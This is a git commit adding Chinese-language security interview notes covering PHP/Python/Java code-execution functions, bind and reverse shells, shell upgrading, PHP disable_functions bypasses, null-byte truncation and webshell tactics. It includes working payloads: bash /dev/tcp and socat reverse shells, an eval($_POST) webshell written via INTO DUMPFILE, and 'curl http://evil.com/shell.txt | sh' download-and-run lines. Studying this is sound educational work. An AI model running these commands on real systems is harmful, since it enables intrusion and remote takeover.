Add files via upload
This commit is contained in:
@@ -0,0 +1,122 @@
|
||||
### 代码执行、命令执行的函数有哪些
|
||||
|
||||
**PHP**
|
||||
|
||||
在 PHP 中,有很多函数可以执行系统命令或代码。它们是 PHP 漏洞利用中最常见的攻击入口
|
||||
|
||||
**命令执行函数**
|
||||
|
||||
- `exec()`: 执行一个外部程序,不返回输出结果,通常需要使用参数获取
|
||||
|
||||
```php
|
||||
exec('whoami', $output);
|
||||
print_r($output);
|
||||
```
|
||||
|
||||
- `passthru()`: 直接将命令的输出传递到浏览器
|
||||
|
||||
```php
|
||||
passthru('ls -la');
|
||||
```
|
||||
|
||||
- `shell_exec()`: 通过 shell 执行命令,并将整个输出结果作为字符串返回
|
||||
|
||||
```php
|
||||
$output = shell_exec('id');
|
||||
echo $output;
|
||||
```
|
||||
|
||||
- `system()`: 执行外部程序并显示输出
|
||||
|
||||
```php
|
||||
system('netstat -an');
|
||||
```
|
||||
|
||||
- `popen()` 和 `proc_open()`: 都可以打开一个进程文件指针,允许对进程进行双向 I/O 操作
|
||||
|
||||
```
|
||||
$handle = popen('ls', 'r');
|
||||
```
|
||||
|
||||
- `pcntl_exec()`: 在 PHP CLI 环境中,用新的程序替换当前进程
|
||||
|
||||
**代码执行函数**
|
||||
|
||||
- `eval()`: 将字符串作为 PHP 代码来执行。这是最常见的代码执行漏洞函数
|
||||
|
||||
```php
|
||||
$code = $_GET['code'];
|
||||
eval($code);
|
||||
```
|
||||
|
||||
- `assert()`: 在 PHP 7.2 之前,`assert()` 函数可以执行字符串参数
|
||||
|
||||
```php
|
||||
assert($_POST['pass']);
|
||||
```
|
||||
|
||||
- `create_function()`: 用于创建一个匿名函数
|
||||
|
||||
```php
|
||||
$func = create_function('', 'return ' . $_GET['pass'] . ';');
|
||||
$func();
|
||||
```
|
||||
|
||||
- `call_user_func()` 和 `call_user_func_array()`: 调用一个用户函数,如果参数是用户可控的,可以用来执行任意函数
|
||||
|
||||
- `array_map()`: 将回调函数作用到给定数组的每个元素上
|
||||
|
||||
- `unserialize()`: 反序列化函数,如果序列化数据中包含一个恶意对象,可以导致对象注入,从而触发魔术方法(如 `__destruct()`),最终实现代码执行
|
||||
|
||||
**Python**
|
||||
|
||||
Python 的 Web 应用中也经常出现类似的问题
|
||||
|
||||
**命令执行函数**
|
||||
|
||||
- `os.system()`: 执行 shell 命令
|
||||
|
||||
- `os.popen()`: 执行 shell 命令,并返回一个文件对象
|
||||
|
||||
- `subprocess` 模块: 这是更安全、更现代的模块,但如果参数处理不当,同样会造成命令注入
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
cmd = 'ls ' + user_input
|
||||
subprocess.call(cmd, shell=True) # 当 shell=True 时,可能存在命令注入
|
||||
```
|
||||
|
||||
**代码执行函数**
|
||||
|
||||
- `eval()`: 将字符串作为表达式来执行
|
||||
|
||||
```python
|
||||
result = eval('1 + 1')
|
||||
```
|
||||
|
||||
- `exec()`: 执行动态代码
|
||||
|
||||
- `pickle.loads()`: 反序列化模块,如果反序列化恶意数据,可能导致代码执行
|
||||
|
||||
**Java**
|
||||
|
||||
在 Java 中,直接执行系统命令的函数相对较少,但依然存在
|
||||
|
||||
**命令执行函数**
|
||||
|
||||
- `Runtime.getRuntime().exec()`: 在单独的进程中执行指定的字符串命令
|
||||
|
||||
```java
|
||||
Runtime.getRuntime().exec("ls -la");
|
||||
```
|
||||
|
||||
- `java.lang.ProcessBuilder`: 创建一个操作系统进程
|
||||
|
||||
```java
|
||||
new ProcessBuilder("ls", "-la").start();
|
||||
```
|
||||
|
||||
**代码执行**
|
||||
|
||||
- `ScriptEngine`:Java 脚本引擎,可以执行 JavaScript 等脚本语言
|
||||
- 反序列化:Java 的反序列化漏洞通常是由于 `readObject()` 方法处理不当,结合 `Commons-Collections` 等库中的链式调用,最终实现命令执行
|
||||
@@ -0,0 +1,47 @@
|
||||
### 正向 Shell 和反向 Shell 的区别
|
||||
|
||||
**正向 Shell (Bind Shell)**
|
||||
|
||||
**工作原理**
|
||||
|
||||
1. 攻击者在目标主机上执行恶意代码,该代码会开启一个端口并监听,等待连接
|
||||
2. 攻击者随后从自己的机器上,向目标主机的这个监听端口发起连接
|
||||
3. 一旦连接建立,攻击者就可以通过这个连接发送命令,并在自己的终端上接收目标主机的输出
|
||||
|
||||
```
|
||||
A[攻击者] --主动发起连接--> B[目标主机: 监听端口]
|
||||
B --命令输出--> A
|
||||
```
|
||||
|
||||
**优点**
|
||||
|
||||
- **简单**:一旦端口在目标主机上打开,攻击者就可以直接连接。
|
||||
|
||||
**缺点**
|
||||
|
||||
- **防火墙限制**:这是正向 Shell 最大的问题。许多企业和家庭网络都部署了防火墙,会阻止来自外部的入站连接。目标主机的端口通常是关闭的,或者被严格限制
|
||||
- **IP 地址不确定**:如果目标主机的 IP 是动态的,攻击者很难持续连接
|
||||
|
||||
**反向 Shell (Reverse Shell)**
|
||||
|
||||
**工作原理**
|
||||
|
||||
1. 攻击者首先在自己的机器上,开启一个端口并监听,等待连接
|
||||
2. 攻击者在目标主机上执行恶意代码,该代码会主动连接攻击者的监听端口
|
||||
3. 一旦连接建立,攻击者就可以通过这个连接向目标主机发送命令,并接收命令输出
|
||||
|
||||
```
|
||||
A[攻击者: 监听端口] --等待连接--> B[目标主机]
|
||||
B --主动发起连接--> A
|
||||
A --命令--> B
|
||||
B --命令输出--> A
|
||||
```
|
||||
|
||||
**优点**
|
||||
|
||||
- **绕过防火墙**:这是反向 Shell 最大的优势。防火墙通常只阻止入站连接,但允许内部主机向外部发起出站连接。这使得反向 Shell 能够轻松穿透大多数防火墙
|
||||
- **IP 地址不确定**:即使目标主机的 IP 是动态的,只要它能主动连接到攻击者的固定 IP 地址,连接就可以成功建立
|
||||
|
||||
**缺点**
|
||||
|
||||
- **复杂性**:攻击者需要有一个公网 IP 或能够通过端口转发,才能在自己的机器上成功监听
|
||||
@@ -0,0 +1,107 @@
|
||||
### 如何从非交互的 Shell 提升为交互 Shell
|
||||
|
||||
方法一:使用 Python PTY 模块(最常用)
|
||||
|
||||
如果目标系统安装了 Python,这是最简单、最可靠的方法
|
||||
|
||||
1. **执行命令:** 在你的非交互shell中输入并执行以下命令:
|
||||
|
||||
```bash
|
||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
```
|
||||
|
||||
这条命令会调用 Python 的`pty`模块,创建一个伪终端,并执行`/bin/bash`
|
||||
|
||||
2. **设置终端:** 此时,你已经获得了一个基本的交互式 shell,但可能仍然存在一些显示问题。接下来,需要通过以下命令进一步完善:
|
||||
|
||||
```bash
|
||||
# 这一步是设置环境变量,让终端知道自己是什么类型
|
||||
export TERM=xterm
|
||||
|
||||
# 这一步是后台运行stty命令,捕获终端信号
|
||||
stty raw -echo
|
||||
```
|
||||
|
||||
**注意:** 最后一条命令 `stty raw -echo` 执行后,你的输入可能不会立即显示。这是正常的,你需要继续操作
|
||||
|
||||
3. **背景化(可选):** 此时你的 shell 仍在前台,可以将其发送到后台:
|
||||
|
||||
```bash
|
||||
Ctrl + Z
|
||||
```
|
||||
|
||||
然后回到你自己的攻击机终端,执行以下命令,将 shell 重新拉回前台:
|
||||
|
||||
```bash
|
||||
stty raw echo
|
||||
fg
|
||||
```
|
||||
|
||||
现在,你拥有了一个功能完整的、带有 `Tab` 补全、上下箭头和 `Ctrl+C` 功能的交互式 shell
|
||||
|
||||
**方法二:使用 `script` 命令**
|
||||
|
||||
`script` 命令用于记录终端会话,但也可以用来提升 shell
|
||||
|
||||
1. **执行命令:**
|
||||
|
||||
```bash
|
||||
script /dev/null
|
||||
```
|
||||
|
||||
这条命令会启动一个新的 shell,并将所有输出写入 `/dev/null`。这实际上创建了一个新的伪终端
|
||||
|
||||
2. **完成设置:**
|
||||
|
||||
```bash
|
||||
Ctrl + C
|
||||
export SHELL=bash
|
||||
export TERM=xterm
|
||||
reset
|
||||
```
|
||||
|
||||
**注意:** 这种方法有时可能不稳定,并且在某些系统上可能不适用
|
||||
|
||||
**方法三:使用 `socat`**
|
||||
|
||||
`socat`是一个功能强大的网络工具,可以用于在两个位置之间建立双向数据流
|
||||
|
||||
1. **攻击机(监听端):** 在你的攻击机上,使用 `socat` 监听一个端口
|
||||
|
||||
```bash
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
```
|
||||
|
||||
2. **目标机(执行端):** 在非交互式 Shell中,使用 `socat` 连接到你的攻击机
|
||||
|
||||
```bash
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击机IP>:4444
|
||||
```
|
||||
|
||||
3. **优势:** `socat` 的方法非常强大,可以创建非常稳定的交互式 Shell,并能处理各种终端信号
|
||||
|
||||
**方法四:使用 `rlwrap`(需要安装)**
|
||||
|
||||
`rlwrap` 是一个命令行工具,它可以为任何程序添加 `readline` 功能,包括历史记录和行编辑
|
||||
|
||||
1. **攻击机(监听端):**
|
||||
|
||||
```bash
|
||||
nc -lvnp 4444
|
||||
```
|
||||
|
||||
2. **目标机(执行端):**
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1
|
||||
```
|
||||
|
||||
此时,你获得了非交互式 Shell
|
||||
|
||||
3. **攻击机(提升 shell):** 在你自己的攻击机上,使用 `rlwrap` 重新连接到目标主机,就可以获得一个带有历史记录和补全功能的 Shell
|
||||
|
||||
```bash
|
||||
rlwrap nc -v <目标机IP> 4444
|
||||
```
|
||||
|
||||
**注意:** 这需要 `rlwrap` 工具在你的攻击机上已经安装
|
||||
@@ -0,0 +1,76 @@
|
||||
### PHP disable_functions() 绕过方法
|
||||
|
||||
**1. LD_PRELOAD 环境变量劫持**
|
||||
|
||||
**原理:** `LD_PRELOAD` 是一个环境变量,它允许用户在程序运行前指定一个或多个动态链接库(.so文件)。这些库中的函数会优先于系统默认的库被加载。我们可以利用这一点,编写一个恶意的动态链接库,其中包含一个与常用系统函数(如 `getuid`、`geteuid` 等)同名的恶意函数
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. 编写一个 C 语言恶意代码,利用 `__attribute__((constructor))` 在库加载时执行系统命令,并将其编译成一个 `.so` 文件
|
||||
2. 在 PHP 中,通过 **`putenv()`** 函数设置 `LD_PRELOAD` 环境变量,指向我们恶意的 `.so` 文件
|
||||
3. 触发一个可以调用系统函数的 PHP 函数,例如 `mail()` 或 `exec()`。当这个函数被调用时,`LD_PRELOAD` 就会生效,我们的恶意代码会被执行
|
||||
|
||||
这种方法非常有效,但前提是 `putenv()` 或类似的函数没有被禁用,并且目标服务器支持动态链接
|
||||
|
||||
**2. ImageMagick 命令执行漏洞**
|
||||
|
||||
**漏洞名称:** CVE-2016-3714 (ImageTragick) **原理:** ImageMagick 是一个用于创建、编辑和转换图像的流行开源软件。该漏洞允许攻击者通过处理一个特制的图像文件(例如 SVG、MVG 格式)来执行任意系统命令
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. 制作一个恶意的 SVG 或 MVG 格式图像文件,其中嵌入了命令执行 Payload。例如:`"push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/)'"`,`url()` 后面可以接 `file://` 或 `http://` 等协议,通过 `pipe` 触发命令
|
||||
2. 在 PHP 中,如果使用了 **`Imagick`** 扩展来处理上传的图像文件,当调用 `readImage()` 或 `pingImage()` 等函数时,就会触发漏洞,执行恶意 Payload
|
||||
|
||||
这种方法主要针对使用了特定软件版本且存在漏洞的目标,属于典型的“Nday”漏洞利用
|
||||
|
||||
**3. Windows 系统组件 COM 绕过**
|
||||
|
||||
**原理:** 在 Windows 环境下,**`COM`** (Component Object Model) 是一个重要的技术。PHP 的 `COM` 扩展可以用来创建和调用 COM 组件。其中,`WScript.Shell` 这个组件可以用来执行系统命令
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. 在 PHP 代码中,通过 `new COM('WScript.shell')` 创建一个 `WScript.Shell` 对象
|
||||
2. 调用这个对象的 `run()` 或 `exec()` 方法来执行命令。例如:`$shell = new COM('WScript.shell'); $shell->Run('cmd.exe /c "whoami"');`
|
||||
3. 这种方法依赖于 PHP 的 `COM` 扩展是否启用,以及目标服务器是否是 Windows 系统
|
||||
|
||||
**4. PHP 7.4 FFI 绕过**
|
||||
|
||||
**原理:** **`FFI`** (Foreign Function Interface) 是 PHP 7.4 引入的一个扩展,允许 PHP 代码直接调用 C 语言的函数和数据结构,而无需编写额外的 C 语言扩展。这大大增强了 PHP 的能力,同时也带来了安全风险
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. 使用 `FFI::cdef()` 函数加载 `libc` 库,并定义 `system` 或 `exec` 函数
|
||||
2. 然后就可以像调用 PHP 函数一样调用 C 语言的 `system` 函数来执行命令
|
||||
3. 例如:`$ffi = FFI::cdef('int system(const char *command);', 'libc.so.6'); $ffi->system('whoami');`
|
||||
4. 这种方法非常强大,但前提是 `FFI` 扩展已启用且未被禁用
|
||||
|
||||
**5. Bash 破壳漏洞**
|
||||
|
||||
**漏洞名称:** CVE-2014-6271 (Shellshock) **原理:** 这是一个在 Bash 4.3 及更早版本中的高危漏洞。它允许攻击者通过环境变量,向 Bash 注入并执行任意代码
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. 在 PHP 中,使用 `putenv()` 设置一个特殊的恶意环境变量
|
||||
2. 例如:`putenv("test=() { :;}; echo 'VULNERABLE'");`
|
||||
3. 随后,调用任何可以调用 Bash 的函数,例如 `mail()` 或 `exec()`。当 Bash 被调用时,它会解析环境变量,触发漏洞,执行恶意 Payload
|
||||
|
||||
**6. `imap_open()` 绕过**
|
||||
|
||||
**漏洞名称:** CVE-2018-19518 **原理:** 在 PHP 5.x 和 7.x 版本中,`imap_open()` 函数存在一个漏洞。当处理一个特定的 IMAP 协议 URL 时,它会调用 `rsh` 或 `ssh` 命令来连接远程服务器,从而导致命令执行
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. 在 PHP 中调用 `imap_open()` 函数,并传入一个恶意构造的 IMAP URL
|
||||
2. 例如:`imap_open('-oProxyCommand=whoami', 'a', 'a');`
|
||||
3. `-oProxyCommand` 是一个 SSH 选项,它允许在连接前执行命令。`imap_open()` 会调用 `rsh` 或 `ssh`,从而触发这个命令执行
|
||||
4. 这种方法依赖于目标服务器上 `imap` 扩展是否启用
|
||||
|
||||
**7. `pcntl` 插件绕过**
|
||||
|
||||
**原理:** **`pcntl`** 是 PHP 的一个进程控制扩展,它提供了一系列与进程相关的函数,例如 `pcntl_exec()`
|
||||
|
||||
**绕过步骤:**
|
||||
|
||||
1. `pcntl_exec()` 函数可以用来在当前进程中执行一个指定的程序
|
||||
2. 例如:`pcntl_exec('/bin/sh', array('-c', 'whoami'));`
|
||||
3. `pcntl_exec()` 会直接替换当前 PHP 进程,而不会像 `system()` 那样创建一个新的子进程。这种方法非常隐蔽,且通常不被 `disable_functions` 列表所限制
|
||||
@@ -0,0 +1,34 @@
|
||||
### PHP 的 %00 截断的原理
|
||||
|
||||
当 PHP 脚本在调用某些文件操作函数(如 `include()`、`require()`、`file_get_contents()` 等)时,底层会调用 C 语言的库函数。在 C 语言中,字符串是以**空字节(null byte)**作为结束符的,即十六进制的 `0x00`。当 C 语言函数读取到 `0x00` 时,就会认为字符串已经结束
|
||||
|
||||
而 PHP 脚本在处理用户输入时,并不会像 C 语言那样将 `%00` 解析为空字节,它会将其当作普通的字符串。但是,当这个字符串被传入底层 C 语言函数进行文件操作时,C 语言会截断这个字符串,只处理 `%00` 之前的部分
|
||||
|
||||
假设服务器上有一个 PHP 脚本,其代码如下:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$file = $_GET['file'];
|
||||
include($file . ".php");
|
||||
?>
|
||||
```
|
||||
|
||||
这段代码的本意是让用户通过 `file` 参数指定一个文件名,然后脚本会在文件名后面自动加上 `.php` 后缀,再包含这个文件
|
||||
|
||||
现在,如果攻击者想要利用这个漏洞来包含一个图片文件 `shell.jpg`(其中包含恶意 PHP 代码),他可以构造一个带有 `%00` 截断的 URL:
|
||||
|
||||
```
|
||||
http://example.com/index.php?file=shell.jpg%00
|
||||
```
|
||||
|
||||
当 PHP 脚本接收到这个 URL 时:
|
||||
|
||||
1. **PHP 层**:
|
||||
- `$file` 的值是 `shell.jpg%00`
|
||||
- `$file . ".php"` 拼接后的字符串是 `shell.jpg%00.php`
|
||||
2. **C 语言底层**:
|
||||
- 当 `include()` 函数将 `shell.jpg%00.php` 这个字符串传递给底层的 C 语言文件操作函数时,C 语言会把 `%00` 识别为空字节(`\0`)
|
||||
- 根据 C 语言的字符串处理规则,它会认为字符串在 `shell.jpg` 处就已经结束了
|
||||
- 最终,操作系统实际打开的文件名是 `shell.jpg`,而不是 `shell.jpg.php`
|
||||
|
||||
这样一来,攻击者就成功绕过了 `.php` 后缀的限制,实现了对 `shell.jpg` 的文件包含,从而执行了图片中的恶意代码
|
||||
@@ -0,0 +1,42 @@
|
||||
### 站库分离怎么拿 Shell
|
||||
|
||||
**1. SQL 注入结合文件上传或文件写入漏洞**
|
||||
|
||||
即使无法直接写入 `webshell`,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在**文件上传漏洞**,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等
|
||||
|
||||
**渗透思路:**
|
||||
|
||||
- 利用SQL注入读取网站的配置文件,获取文件上传路径
|
||||
- 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 `.php`)
|
||||
- 结合文件上传漏洞,上传精心构造的 `webshell`
|
||||
|
||||
**2. 利用数据库的写权限进行命令执行**
|
||||
|
||||
在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 `LOAD_FILE()`、`SELECT ... INTO DUMPFILE` 等函数,将恶意代码写入到 Web 服务器的可写目录中
|
||||
|
||||
**渗透思路:**
|
||||
|
||||
- **读取配置文件**: 利用 SQL 注入读取 Web 服务器上的 `phpinfo` 或网站配置文件,寻找可写的目录路径
|
||||
- **写入`webshell`**: 尝试使用`SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'` 将 `webshell` 代码写入到Web服务器的 `upload` 目录
|
||||
- **注意**: 这种方法需要数据库用户具有 `file_priv` 权限,并且数据库的`secure_file_priv`参数没有限制。在站库分离架构下,这种配置是**不推荐**的,但仍有可能存在
|
||||
|
||||
**3. 利用 Web 服务器自身的漏洞**
|
||||
|
||||
这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在**远程命令执行(RCE)**或**文件包含(LFI/RFI)**等高危漏洞
|
||||
|
||||
**渗透思路:**
|
||||
|
||||
- **远程命令执行(RCE)**: 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如`curl http://evil.com/shell.txt | sh`,下载并执行恶意脚本,从而获取反弹`shell`或写入`webshell`
|
||||
- **文件包含(LFI/RFI)**: 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 `file_get_contents('http://evil.com/shell.txt')` 将远程 `webshell` 文件包含到 Web 服务器,从而执行恶意代码
|
||||
|
||||
**4. 通过数据库的 UDF 函数提权**
|
||||
|
||||
如果攻击者在数据库上拥有足够高的权限(例如`root`),并且数据库服务器允许动态加载库文件,他们可以上传自定义的**UDF(用户自定义函数)**库文件,并在数据库服务器上执行系统命令
|
||||
|
||||
**渗透思路:**
|
||||
|
||||
- **SQL注入提权**: 利用 SQL 注入获取数据库 `root` 权限
|
||||
- **上传UDF文件**: 通过 `load_file()` 或 `into dumpfile` 等方法,将恶意 UDF 库文件(例如`lib_mysqludf_sys.so`)上传到数据库服务器的插件目录
|
||||
- **创建自定义函数**: 在数据库中创建新的函数,例如 `sys_eval()`,该函数能够执行系统命令
|
||||
- **执行命令**: 调用 `sys_eval()` 函数,执行系统命令,例如 `select sys_eval('curl http://evil.com/shell.txt | sh')`
|
||||
- **注意**: 这种方法主要用于在数据库服务器上获取 `shell`,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器
|
||||
@@ -1 +1,20 @@
|
||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
||||
|
||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||
|
||||
HR:请问…………
|
||||
|
||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
||||
|
||||
(Summary.md 是目录噢!!)
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
||||
|
||||
Reference in New Issue
Block a user